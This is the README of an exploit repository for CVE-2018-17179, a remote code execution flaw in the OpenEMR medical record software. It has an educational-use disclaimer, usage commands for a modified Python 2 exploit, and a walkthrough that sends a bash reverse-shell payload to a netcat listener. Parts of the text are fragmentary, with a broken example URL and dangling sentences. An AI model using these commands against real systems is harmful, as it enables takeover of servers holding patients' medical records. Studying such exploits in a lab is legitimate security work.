
⚠️ Disclaimer
This repository is intended strictly for educational and research purposes only.
The information and code provided here can be used in controlled environments, such as private lab machines.
Unauthorized use of this code against systems you do not own or have explicit permission to test is illegal and unethical.
The author is not responsible for any misuse or damages caused.
CVE-2018-17179 affects OpenEMR, a widely-used open-source electronic medical record and practice management software.
A flaw in the authentication mechanism of the rest_routes.php endpoint allows an authenticated user to execute arbitrary commands on the server.
This can lead to Remote Code Execution (RCE) under the context of the web server user.
interface/main/main_screen.php via rest_routes.phpThis repository provides a modified version of the public exploit from Exploit-DB:
In this customized exploit:
Targeted a local test OpenEMR login panel:

Usage: python2 exploit.py <target_url> -u -p -c
Example: python2 exploit.py http:///openemr -u admin -p secretpass -c 'id'
- Make sure you have Python 2 installed.
- The user must have access to the vulnerable `rest_routes.php` endpoint.
Execute Exploit
Ran the modified exploit script with a bash reverse shell payload:
python2 exploit.py http://<target>/openemr -u <username> -p <password> -c 'bash -i >& /dev/tcp/<your-ip>/4444 0>&1'

Netcat listener on port 4444 successfully received a reverse shell:
nc -nvlp 4444

Check out the detailed walkthrough and theory on my Medium post:
👉 Read the blog on Medium